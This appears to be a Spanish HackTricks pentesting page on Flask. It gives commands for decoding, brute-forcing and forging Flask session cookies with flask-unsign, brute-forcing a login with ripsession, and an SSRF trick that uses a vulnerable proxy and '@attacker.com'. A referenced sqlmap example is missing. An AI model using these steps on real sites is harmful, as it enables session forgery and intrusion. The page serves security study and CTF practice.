2.7 KiB

Flask

{{#include ../../banners/hacktricks-training.md}}

Probablemente, si estás participando en un CTF, una aplicación Flask estará relacionada con SSTI.

Cookies

El nombre de la sesión de cookie por defecto es session.

Decoder

Decodificador de cookies Flask en línea: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Obtén la primera parte de la cookie hasta el primer punto y decodifícalo en Base64.

echo "ImhlbGxvIg" | base64 -d

La cookie también está firmada usando una contraseña

Flask-Unsign

Herramienta de línea de comandos para obtener, decodificar, forzar y crear cookies de sesión de una aplicación Flask adivinando claves secretas.

{{#ref}} https://pypi.org/project/flask-unsign/ {{#endref}}

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Fuerza Bruta

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Firma

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Firmado usando versiones antiguas (legacy)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Herramienta de línea de comandos para realizar ataques de fuerza bruta a sitios web utilizando cookies creadas con flask-unsign.

{{#ref}} https://github.com/Tagvi/ripsession {{#endref}}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Este ejemplo utiliza la opción eval de sqlmap para firmar automáticamente las cargas útiles de sqlmap para Flask utilizando un secreto conocido.

Proxy de Flask a SSRF

En este informe se explica cómo Flask permite una solicitud que comienza con el carácter "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

En el siguiente escenario:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Podría permitir introducir algo como "@attacker.com" para causar un SSRF.

{{#include ../../banners/hacktricks-training.md}}